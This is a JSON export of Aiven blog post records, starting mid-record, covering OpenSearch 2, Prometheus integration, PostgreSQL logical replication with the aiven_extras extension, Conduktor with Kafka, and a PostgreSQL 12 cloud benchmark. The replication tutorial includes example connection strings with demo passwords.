(R)evolution: Making open source more secure and sustainable"},"slug":{"_type":"slug","current":"/podcast/making-open-source-more-secure-and-sustainable"}}
{"__i18n_lang":"en","_createdAt":"2022-10-04T12:10:49Z","_id":"f9628a31-e100-4e82-98d6-1df9eb0a5fb4","_rev":"FJE9FJz5NeK3Yo2P5NLGcC","_type":"post","_updatedAt":"2023-06-14T10:00:19Z","authors":[{"_key":"17c88e516e13","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"[OpenSearch](https://aiven.io/blog/introduction-to-opensearch) has introduced its first major version upgrade since its first launch last year, with a wealth of new capabilities and performance enhancements. This [fully open source ElasticSearch fork](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) is backed by a strong community dedicated to its further development - and of course, Aiven is an enthusiastic part of that community.\n\nWhat can the new version do for you? \n\n## OpenSearch 2 highlights:\n### Performance improvements with Lucene 9.1\nOpenSearch now equips the latest version of Apache Lucene, which helps improve performance, as well as providing faster I/O and faster indexing.\n\n### Document-level alerting\nOpenSearch 2 offers the capability to monitor and generate alerts on document level. Furthermore, OpenSearch 2 introduces a Notification plugin to centralize all notifications for your OpenSearch instead of having to manually configure alerts in each individual plugin.\n\n### ML Commons upgrades\nOpenSearch provides an upgrade to the previous ML Commons Plugin to handle additional workloads. With this new version, OpenSearch introduces new algorithms for linear regression and localization on top of the previous K-means and RCF to simplify development of ML models.\n\n### Already an Aiven for OpenSearch 1 customer?\nIf you already use Aiven for OpenSearch 1 and want to benefit from these new features and performance improvements, you can upgrade as you see fit. Aiven will continue to support OpenSearch 1 for the time being, and we have provided a safe upgrade path from your current version to Aiven for OpenSearch 2.\n\n\u003e **Note** OpenSearch version 2 removes mapping type parameters in all of its API endpoints, and indexes are categorized by document type going forward. For further details, take a look [here](https://github.com/opensearch-project/opensearch/issues/1940).\n\n--\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"77784df28d0d","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"375411a99b45","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"28e4c5888831","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-06T04:44:35.747Z","seo":{"_type":"metaData","metaDescription":"Aiven now offers OpenSearch® 2 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844-png","_type":"reference"}},"metaTitle":"OpenSearch® 2 service and key improvements | Aiven blog"},"slug":{"_type":"slug","current":"/blog/aiven-introduces-opensearch-2"},"subtitle":"Aiven now offers OpenSearch® 2 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","title":"Aiven introduces OpenSearch® 2!"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5aYgO7vYYL8HPjDWuUlMSV","_rev":"QRl2cGoCgj0FlAhkRrhWUd","_type":"post","_updatedAt":"2022-09-08T16:15:49Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We are excited to announce our third metrics integration, Prometheus. Aiven users can now send their Kafka, PostgreSQL, Elasticsearch/OpenSearch, and Redis metrics to their Prometheus monitoring and alerting servers.\n\n\u003e Modeled after Google’s Borgmon, Prometheus was released in 2012 and has quickly become the most popular Open Source monitoring and alerting tool available.\n\nHowever, its popularity was just one of the reasons why we chose to support it as an integration on the Aiven platform. Its active community and features also made it an obvious choice as the next integration.\n\n### PromQL and integrations\n\nA number of characteristics make Prometheus a powerful tool, but perhaps the most significant is its query language. Among other capabilities, users can build complex alerts based on a number of factors off of this.\n\nAdditionally, its integrations allow Prometheus to receive and send metrics from popular databases like PostgreSQL, as well as a number of other sources, such as visualization tools and messaging systems.\n\nThis makes sense because Prometheus is highly capable, but not always the best option for certain functions. For example, although it can be used as a time-series database, it is not ideal for long-term storage.\n\nThe same goes for visualization. Consequently, it is best used as a monitoring and alerting tool in combination with components such as TimescaleDB for long-term, time-series storage and Grafana for visualization.\n\n### Prometheus’s delivery model and its side benefit\n\nThe metrics delivery model of Prometheus uses a pull model where the server connects to HTTP servers running on the monitored nodes and pulls the metrics from them. Because of this approach, the metrics are available not just for Prometheus but for any app that can read the Prometheus format from the HTTP server running on Aiven nodes.\n\n### How to get Prometheus and integrate it\n\nThere are two primary binaries for Prometheus: one for the monitoring and alerting system itself and one for the alert manager. The alert manager handles tasks such as routing, silencing and inhibition.\n\nFor those of you who don’t have Prometheus and are interested in learning more about its features and integrations, visit their homepage [here](https://prometheus.io). To get Prometheus and other components, visit the [Prometheus download page](https://prometheus.io/download/).\n\nIf you are already using Prometheus and would like to connect your Aiven cloud Kafka, PostgreSQL, OpenSearch or Redis with it, visit our help article on [using Prometheus with Aiven services](https://help.aiven.io/en/articles/2473061-using-aiven-with-prometheus).\n\n### Wrapping up\n\nWe are excited to offer Prometheus as an integration option for our users. This is due large in part to our community’s active feedback on what they’d like to see from our service offering; so please, keep giving it!\n\nAnd stay tuned for even more updates. In the meantime, be sure to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, as well as our [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to make sure that you always know the latest with Aiven!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405-png","_type":"reference"}},"publishedAt":"2018-11-28T00:00:00.000Z","seo":{"metaDescription":"Prometheus is a popular open-source monitoring and alerting toolkit that can now be integrated with Aiven. Learn the ins and outs here.","metaImage":{"alt":"","asset":{"_ref":"image-c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405-png","_type":"reference"}},"metaTitle":"Prometheus can now be integrated with Aiven"},"slug":{"_type":"slug","current":"/blog/prometheus-can-now-be-integrated-with-aiven"},"subtitle":"Prometheus is a popular open-source monitoring and alerting toolkit that can now be integrated with Aiven. Learn the ins and outs here.","title":"Prometheus can now be integrated with Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6q2Ct4Z3GJj2FctvVs2MKX","_rev":"QRl2cGoCgj0FlAhkRrhY45","_type":"post","_updatedAt":"2022-09-08T16:16:11Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"There have been a multitude of ways to perform logical replication, such as trigger-based replication. But, they all have come with significant shortcomings either in performance or operational complexity.\n\n\u003e The release of PostgreSQL 10's logical replication fundamentally changed this by allowing easy, performant logical replication to be performed out-of-box.\n\n[PostgreSQL 10’s support for logical replication using publish/subscribe](https://www.postgresql.org/docs/10/release-10.html) made it possible for a number of use cases, such as replicating a subset of tables in a database or performing no-downtime upgrades between major versions.\n\n### Why we didn't support logical replication immediately\n\nYou might be asking why this hasn't been supported on Aiven if PostgreSQL 10 supported it out-of-box. The short answer?\n\n**It requires superuser privileges to perform it**; and, we can’t grant them to our main database user, avnadmin because we need to ensure our level of service. But, it got us thinking,\n\n\u003e If we allow avnadmin to create databases and roles at will, would it be possible to support publish/subscribe-style logical replication?\n\n### Aiven's open source extension for logical replication\n\nAfter all, some DBaaS vendors patched their PostgreSQL services with proprietary changes to allow them to grant these privileges to non-superusers roles, but we wanted to do something better: **we tried to do it as an Open Source PostgreSQL extension.**\n\nThe result? **Aiven-extras**. Simply put, this extension creates functions that allow users to perform publish/subscribe-style logical replication without a superuser account as the functions themselves are run with superuser privileges.\n\nNow that we know why it’s important and what we did to make it possible for Aiven PostgreSQL users, let’s look at a simple example of replicating a single table with a single column.\n\n### Example of publish/subscribe-style logical replication\n\nAs stated previously, we’ll replicate a single table called *foo* that has a single column called *id* in it:\n```\nsource $ CREATE TABLE foo (id INT);\nsource $ INSERT INTO foo VALUES (1), (2);\n```\nPostgreSQL 10 defined `PUBLICATION`s as entries that define the tables that are to be replicated which are in turn `SUBSCRIBED` to by the receiving database.\n\nWhen creating a publication you can also define which operations should be transferred. For example, you can define that only `INSERT`s should be replicated but not `UPDATE`s and `DELETE`s. In this example we'll replicate all three types of operations:\n```\nsource $ CREATE PUBLICATION pub1 FOR TABLE foo WITH (publish='insert,update,delete');\n```\nNext, we’ll log into the destination database that will be receiving the changes from the source database and begin by creating the new aiven_extras extension:\n```\ndestination $ CREATE EXTENSION aiven_extras CASCADE;\n```\nAs PostgreSQL's logical replication doesn't copy table definitions, we need to copy them with something like `pg_dump`:\n```\n$ pg_dump --schema-only postgres://avnadmin:lab0h4c84r38heui@source-demoprj.aivencloud.com:26882/defaultdb?sslmode=require | psql postgres://avnadmin:o42w0sjr80esj967@destination-demoprj.aivencloud.com:26882/defaultdb?sslmode=require\n\n```\nor, if there are only a few tables to be defined, we can simply define them with the appropriate `CREATE TABLE` statements:\n```\ndestination $ CREATE TABLE foo (id INT);\n```\nOnce the table definitions are present in the destination PostgreSQL, we can create a `SUBSCRIPTION` to start replicating changes from the source database:\n```\ndestination $ SELECT * FROM aiven_extras.pg_create_subscription('subscription', 'host=source-demoprj.aivencloud.com password=lab0h4c84r38heui port=26882 dbname=defaultdb user=avnadmin sslmode=require', 'pub1', 'slot', TRUE, TRUE);\n```\nAs the pg_subscription catalog is superuser-only we need to use the `aiven_extras.pg_list_all_subscriptions()`function from aiven-extras to see that the subscription was indeed created successfully.\n```\ndestination=\u003e SELECT * FROM aiven_extras.pg_list_all_subscriptions();\nsubdbid |   subname    | subowner | subenabled |                                                      subconninfo                                                       | subslotname | subsynccommit | subpublications\n---------+--------------+----------+------------+------------------------------------------------------------------------------------------------------------------------+-------------+---------------+-----------------\n  16394 | subscription |       10 | t          | host=source-demoprj.aivencloud.com password=lab0h4c84r38heui port=26882 dbname=defaultdb user=avnadmin sslmode=require | slot        | off           | {pub1}\n(1 row)\n```\n\nOnce the subscription has been created you can execute:\n```\ndestination $ SELECT * FROM foo;\nid\n----\n 1\n 2\n(2 rows)\n```\nAnd we can see that the data was copied successfully from the source database.\n\nIt is also important not to leave unused replication setups, because the underlying replication slots in PostgreSQL make sure that the server keeps all the data needed to replicate from that time forward; and, if no-one is reading the data stream it will keep ever growing amounts of data on disk until it eventually gets full.\n\nOnce we know we want to get rid of a subscription, we can run:\n```\ndestination $ SELECT * FROM aiven_extras.pg_drop_subscription('subscription');\n```\nTo see that everything got cleaned up correctly, you can list all the subscriptions again to see that the one you deleted is really gone:\n```\ndestination $SELECT * FROM aiven_extras.pg_list_all_subscriptions();\n subdbid | subname | subowner | subenabled | subconninfo | subslotname | subsynccommit | subpublications\n---------+---------+----------+------------+-------------+-------------+---------------+-----------------\n(0 rows)\n```\nAnd finally here's an example for publishing all the tables in the source side database with the help of the aiven-extras extension.\n\nWhile `CREATE PUBLICATION` doesn't require superuser privileges if you publish just an enumerated list of tables, it does require it if you want all the tables to be published.\n```\nsource $ CREATE EXTENSION aiven_extras CASCADE;\nsource $ SELECT * FROM aiven_extras.pg_create_publication_for_all_tables('pub2', 'INSERT');\nsource $ SELECT * FROM pg_publication;\n pubname | pubowner | puballtables | pubinsert | pubupdate | pubdelete\n---------+----------+--------------+-----------+-----------+-----------\npub1    |    16393 | f            | t         | t         | t\npub2    |    16393 | t            | t         | f         | f\n(2 rows)\n```\n### Wrapping up\nPublish/subscribe based logical replication greatly increases the utility of Aiven PostgreSQL. And with the open source **aiven_extras** extension, you will now be able to use logical replication within Aiven.\n\nAlthough it can be used for replicating a subset of tables in a database or performing no-downtime upgrades between major versions, one of its most interesting use cases is migrating your PostgreSQL database from one cloud to another.\n\nSoon, we’ll cover migrating your database in another post. In the meantime, join our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405-png","_type":"reference"}},"publishedAt":"2018-08-17T00:00:00.000Z","seo":{"metaDescription":"With the help of our open source extension, Aiven users can perform logical replication without superuser roles. Read this post to learn more.","metaImage":{"alt":"","asset":{"_ref":"image-490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405-png","_type":"reference"}},"metaTitle":" Aiven PostgreSQL® now supports logical replication"},"slug":{"_type":"slug","current":"/blog/logical-replication-using-publish-subscribe-now-supported-by-aiven-postgresql"},"subtitle":"With the help of our open source extension, Aiven users can perform logical replication without superuser roles. Read this post to learn more.","title":" Aiven PostgreSQL® now supports logical replication"}
{"__i18n_lang":"en","_createdAt":"2022-06-25T01:00:19Z","_id":"3clb6zkVKCIhajxdS9PZ6O","_rev":"QRl2cGoCgj0FlAhkRriTfm","_type":"post","_updatedAt":"2022-09-08T16:31:08Z","authors":[{"_key":"6T10aEUQnciMUdnmWvrkkO","_ref":"6T10aEUQnciMUdnmWvrkkO","_type":"reference"}],"body":"## Evaluating Apache Kafka®?\n[Apache Kafka](https://aiven.io/kafka) is incredibly popular and its power is proven. According to the Apache Software Foundation, more than 80% of all Fortune 100 companies trust Kafka to operate their production workloads. \n\nBut the truth is that Apache Kafka® needs a major investment of time and energy to operationalize, especially at scale. \n\nThe good news is your investment in Apache Kafka can be significantly de-risked. In this post, we introduce you to Aiven and the Aiven for Apache Kafka cloud service, and demonstrate how it works with Conduktor’s all-in-one Kafka management platform.\n\nWith Aiven you can deploy Apache Kafka on a secure, fully managed platform, while Conduktor makes you 10x more productive with Apache Kafka. It’s a seriously easy win-win solution.\n\n## Aiven for Apache Kafka works for you\nAiven takes 100% open source database and streaming projects and provides them as fully-managed cloud services for customers all over the world, across all major cloud providers. The Apache Kafka code you’re running on your localhost or your cloud provider of choice is the same code Aiven installs when provisioning your Kafka clusters. \n\nNot only do we use 100% open source Kafka, but we also contribute back to the open source community. For example, when Confluent changed their open source license for the Schema Registry,  Aiven developed a [drop-in replacement for the Schema Registry called Karapace](https://aiven.io/blog/what-is-karapace) and shared it with the open source community.\n### Aiven has your back with 99.99% uptime\n\nAt a minimum, Aiven provisions Apache Kafka in a 3 node cluster, distributing the nodes evenly across the availability zones of the cloud region you select. But you can scale to 30+ nodes, and Aiven’s solutions architects can build custom plans to meet specific requirements. \n\nAiven takes care of the VM provisioning, setup, security, and the day-to-day operations of keeping your Kafka cluster running at a 99.99% SLA. And over the past rolling 36 months, we’ve observed closer to 99.997% uptime. \n\nWe rebalance clusters transparently for our customers, in a self-healing manner. \n\n### Four years of Apache Kafka\n\nAiven has been running Apache Kafka as a fully-managed cloud service for 4 years. That’s longer than any other provider of Apache Kafka as a service.\n\nIn those four years, the Apache Kafka ecosystem has also grown significantly, and is one of the main reasons why so many developers choose Apache Kafka today. \n\nWhile many of the tools in Apache Kafka’s orbit are either sources of data or sinks for data, there are also tools built to make working with Apache Kafka way, way easier – like Conduktor.\n\n## Meet Conduktor\nA new member of the Kafka ecosystem, Conduktor is leading the charge when it comes to simplifying the Kafka journeys of companies around the world, while also educating the broader Apache Kafka community. Check out their [Conduktor Kafkademy](https://www.conduktor.io/kafka) to start leveling up!\nWith more than 60,000 users across 9,000 organizations, Conduktor provides a powerful GUI working with Apache Kafka. From cluster monitoring to data awareness and exploration, Conduktor makes it easier than ever to harness the power of Apache Kafka.\nWhile Conduktor may look and feel shiny and new, their all-in-one friendly interface to work with the Apache Kafka ecosystem has actually been in development as a free-to-use product since 2016. In about that same timeframe, Aiven honed our craft delivering fully-managed, secure, and performant Apache Kafka, Kafka Connect, and MirrorMaker as cloud agnostic services that are ridiculously easy to get started with.  \n\n### Conduktor gets you 10x more productive with your data\nConduktor was built by Apache Kafka experts, and is an elegant solution for a more civilized use of Apache Kafka. If you interact with Apache Kafka, Conduktor will make your life better.\n\n- Developers - with Conduktor you can configure topics, find data, manage consumers, Kafka Streams applications, and manage Connectors.\n- Operators - Conduktor makes it easier to configure and monitor your brokers, reassign topic partitions, and ensure the metrics are good.\n- QA - using Conduktor you can run scenarios by sending custom messages to run functional tests or test resiliency by sending random data.\n\nFor enterprise scale use of Apache Kafka, Conduktor standardizes the use of Apache Kafka to make everyone more informed and productive across the organization.\n\nStoryblocks, the innovative stock footage platform, uses Conduktor’s desktop GUI to simplify and streamline Kafka operations. “Conduktor is amazing,” says Ilya Berdichevsky, Lead Data Engineer at Storyblocks. “It’s one of those rare 10x tools. It cleverly hides Kafka powers under a thoughtful UI.”\n## Connecting Conduktor to Aiven for Apache Kafka\nLet’s take a look at how these two tools work together. We’ll use Aiven for Apache Kafka to take care of management, and Conduktor to make working with Apache Kafka and our data 10x easier. \n\nGetting started with Conduktor is pretty simple and there is built-in support for setting up the connection. All you need is a CA certificate for each Aiven project in Conduktor.\n\n### Add CA certificates for Aiven projects in Conduktor\nGo to the Service Overview page for your Aiven for Apache Kafka® service and click the service name (“kafka-conduktor” in the image below).\n\n![conduktor-image4](//cdn.sanity.io/images/sczeoy4w/production/2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433.png \"Aiven Console Service Overview page with a Business-4 Aiven for Apache Kafka service\")\n\nDownload the Access Key, Access Certificate, and CA Certificate to your computer. \n\nNote down the Host and Port information. You’ll need them soon.\n### Add your Aiven cluster in Conduktor\n\n1. In the Conduktor desktop application, click __New Kafka Cluster__ in the main pane. \n\n![conduktor-image6](//cdn.sanity.io/images/sczeoy4w/production/c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794.png \"Connecting a Kafka cluster in Conduktor, step 1\")\n\n2. Click the Aiven icon. \n\n![conduktor-image9](//cdn.sanity.io/images/sczeoy4w/production/8e4eac05109ca18b423671212747504dc9d85927-1999x1339.png \"Connecting a Kafka cluster in Conduktor, step 2\")\n\n3. In the Add new Cluster screen, click the Aiven integration button.\n\n![conduktor-image7](//cdn.sanity.io/images/sczeoy4w/production/6163265083f4f28bfe1fdee3ec67235694624335-1416x840.png \"Connecting a Kafka cluster in Conduktor, step 3\")\n\n4. Add here the information from the Aiven Console that you noted down earlier, add the two files you downloaded, and specify a folder for Conduktor to create Keystore and Truststore files in.\n5. Click __Create__.\nConduktor creates a configuration to connect to your Aiven for Apache Kafka service. \n\n![conduktor-image11](//cdn.sanity.io/images/sczeoy4w/production/1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338.png \"Connecting a Kafka cluster in Conduktor, step 5\")\n\n6. Click __Save__. \n\nCongrats, you have Conduktor connected to your Aiven for Apache Kafka cluster!\n\n![conduktor-image8](//cdn.sanity.io/images/sczeoy4w/production/d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796.png \"Connecting a Kafka cluster in Conduktor - finished!\")\n\nNow you can visualize all of your data within Apache Kafka. Take a look:\n\n![conduktor-image3](//cdn.sanity.io/images/sczeoy4w/production/617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141.png \"Aiven data as seen in Conduktor\")\n\n## Next up\nFor this introductory blog post, we did not introduce demo data to further explore Conduktor.\n\nIn our next blog post of this series, we’ll explore all of the cool things you can do with Conduktor on Aiven for Apache Kafka using demo data. \n\nRemember, Aiven for Apache Kafka is the same 100% open source code you’re running yourself, but we make it our entire business (literally) to do that for you, so you can focus on building things that matter and delight your customers, rather than the care and feeding of Kafka!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-23T00:00:00.000Z","seo":{"metaDescription":"Aiven gives a secure, fully managed platform for your Apache Kafka®. Want to be 10x more productive into the bargain? Check out Conduktor.","metaImage":{"alt":"","asset":{"_ref":"image-3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844-png","_type":"reference"}},"metaTitle":"Drive Apache Kafka® like a boss with Aiven and Conduktor"},"slug":{"_type":"slug","current":"/blog/drive-apache-kafka-like-a-boss-with-aiven-and-conduktor"},"subtitle":"Aiven gives a secure, fully managed platform for your Apache Kafka®. Want to be 10x more productive into the bargain? Check out Conduktor.","title":"Drive Apache Kafka® like a boss with Aiven and Conduktor"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5NiOyJ042D97FVXaTRORWX","_rev":"WH90lHWEK1Lnrn0DUuQLzj","_type":"post","_updatedAt":"2023-08-04T18:10:07Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"__Check out the updated article for 2021: [Aiven for PostgreSQL 13 performance on GCP, AWS and Azure](https://aiven.io/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark \"Benchmark figures for 2021\")__\n\nAt Aiven, we’ve run different [PostgreSQL cloud performance benchmarks](https://aiven.io/blog/postgresql-cloud-performance) since 2016. In this latest post, we’ll consider four different benchmarks that compare write performance for PostgreSQL 12.1 between Amazon Web Services (AWS) and Google Cloud Platform (GCP).\n\nWe not only measured the performance in terms of speed and cost variations across the two clouds, but also examined the effects of adding CPUs while adjusting RAM and storage upward to write performance.\n\nWe generated load using ```pgbench```, which we ran on another VM in the same cloud. The load generator commands for each plan were as follows:\n\n```$ pgbench --client=\u003cstartup_plan\u003e --jobs=2 --report-latencies --time=3600 --log --aggregate-interval=1 keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'```\n\nIn this case the ```--client``` switch was the variable adjusted geometrically to correspond to the startup plan under test. Possible values are ```2```, ```4```, ```8```, ```16```, for each of the four startup plans, respectively. Additionally:\n\n* The load generator had only 2 cores and 2GB RAM when tests ran Aiven startup-4 or startup-8 plans, \n* The load generator had 4 cores and 4GB RAM for the other plans.\n\nAs in a production PG setup, the local SSDs running PG used LUKS full-disk encryption with WAL archiving enabled. The PG instances under test were initialized as follows (shown here without connection parameters):\n\n```$ pgbench --initialize --scale=125 --quiet keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'```\n\nHere, the ```--scale``` parameter was adjusted to accommodate each plan; in this case, the DB size was roughly double the size of RAM, with the possible values of ```125```, ```500```, ```2000```, and ```4000```. \n\nThus, our four benchmarks measured and compared performance of PostgreSQL 12.1 running on Amazon Web Services (AWS) and Google Cloud Platform in each of the following four [Aiven managed PostgreSQL plan](/postgresql) configurations:\n\n![Aiven Plans for PG 12 Benchmark](//cdn.sanity.io/images/sczeoy4w/production/f805553dd9dbe22969179f73ba409c559c5027b9-944x326.png)\n\nTo minimize the effects of variable latency on our benchmark, we used these comparable regions for each provider, respectively:\n\n### AWS regions:\n* eu-west-1\n* eu-west-2\n* us-east-1\n* us-west-1\n\n### GCP regions:\n* europe-west1\n* europe-west2\n* us-east4\n* us-west1\n\n### Cost calculation comparison\nFinally, we concluded the benchmark by calculating the average mTPS/$ per PG plan. \n\n## Transactions Per Second: Aiven Startup-4 plans\nAiven startup-4 plan tests consisted of the following configurations:\n\n**Load generator**: 2 cores and 2GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 1 core\n* 4 GB RAM\n* 80 GB storage\n\n![Average Transactions per Second on Aiven Startup-4 plans](//cdn.sanity.io/images/sczeoy4w/production/5742853889adee518a337822a67bb2f412d377c3-854x528.png)\n\nOn Aiven for PostgreSQL 12.1 **startup-4 plans**, the difference was **483** to **413** respectively, with **AWS leading by 16.76 percent**.\n\n## Transactions Per Second: Aiven Startup-8 plans\nAiven startup-8 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed in the same region as the DB\n* 2 cores\n* 2 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 2 cores\n* 8 GB RAM\n* 175 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-8 plans](//cdn.sanity.io/images/sczeoy4w/production/598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528.png)\n\nOn this, as on all plans tested subsequently, **GCP was the leader**: with **940 TPS** to **AWS’s 645 TPS** (**a 31.34% difference**). \n\n## Transactions Per Second: Aiven Startup-16 plans\nAiven startup-16 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed on the same region as the DB\n* 4 cores\n* 4 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 4 cores\n* 15 GB RAM\n* 350 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-16 plans](//cdn.sanity.io/images/sczeoy4w/production/f1ad5bc7e173d22c747ad0162a7483794d640686-854x528.png)\n\nHere, the **performance gap** between GCP and AWS widened to **45.72%** (**GCP’s 1881** vs. **AWS’s 1021 TPS**).\n\n## Transactions Per Second: Aiven Startup-32 plans\nAiven startup-32 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed on the same region as the DB\n* 4 cores\n* 4 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 8 cores\n* 30 GB RAM\n* 700 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-32 plans](//cdn.sanity.io/images/sczeoy4w/production/4c75733bd8f952055db762c76854b8a72aa5db1d-842x528.png)\n\nFinally, on Aiven’s largest startup plan, the **performance gap** between the clouds narrowed slightly to **42.73%** (with **GCP at 3802** and AWS at **2177 TPS**).\n\n## mTPS/$ average per service version\nPerformance value was calculated as an average of millions of transactions per second per dollar _or (mTPS/$)_ for each cloud provider. We found that, overall, the performance/cost difference between cloud providers quite substantially favored Google, although as before with the exception only of Startup-4 plans: \n\n![Table for transactions per second per dollar per postgreSQL plan.](//cdn.sanity.io/images/sczeoy4w/production/2af130caa5a5eab8958e84b882373b702536cf1e-551x198.png)\n\n## Conclusions\nWhen averaging all the data across regions and plans for either cloud provider, overall the better cost performance boils down to better performance generally on GCP.\n**Google was hands down the better performer**, with **1742 TPS** vs. **AWS’s 1081** TPS (a difference of **61.09%**) for all Aiven plans on PG 12.1\n\n![Mean Transactions per Second Average on all Aiven PostgreSQL plans](//cdn.sanity.io/images/sczeoy4w/production/38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680.png)\n\nOf course, many factors affect PostgreSQL performance, including latency differences between the different regions, which we used but didn’t differentiate for in this benchmark. There is also a difference to consider with variably-sized workloads. \n\nWe always recommend that standalone PostgreSQL users identify performance bottlenecks and tune their database configuration, workload or hardware configuration to optimize. However, in our [managed PostgreSQL services](https://aiven.io/postgresql), PostgreSQL system parameters come preconfigured for typical workloads, and you can try out different hardware configurations by choosing different Aiven for PostgreSQL plans. \n\nWe’ll be publishing more benchmarks like these moving forward, so stay tuned. In the meantime, check out our [no commitment, 30-day trial](https://console.aiven.io/signup), or find out more on the [product page](https://aiven.io/postgresql)!\n\nMany thanks go out to Felipe Morato for his hard work on these benchmarks!","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-c69a9955e130bd778fa60a99eecad6119d6f5268-752x405-png","_type":"reference"}},"publishedAt":"2020-04-15T00:00:00.000Z","seo":{"metaDescription":"We look at Aiven for PostgreSQL version 12 plan performance between Amazon Web Service and Google Cloud Platform in terms of transactions per second and cost.","metaImage":{"alt":"","asset":{"_ref":"image-c69a9955e130bd778fa60a99eecad6119d6f5268-752x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® 12 performance on GCP and AWS [Benchmark]"},"slug":{"_type":"slug","current":"/blog/postgresql-12-gcp-aws-performance"},"subtitle":"We look at Aiven for PostgreSQL version 12 plan performance between Amazon Web Service and Google Cloud Platform in terms of transactions per second and cost.","title":"PostgreSQL® 12 performance on GCP and AWS [Benchmark]"}
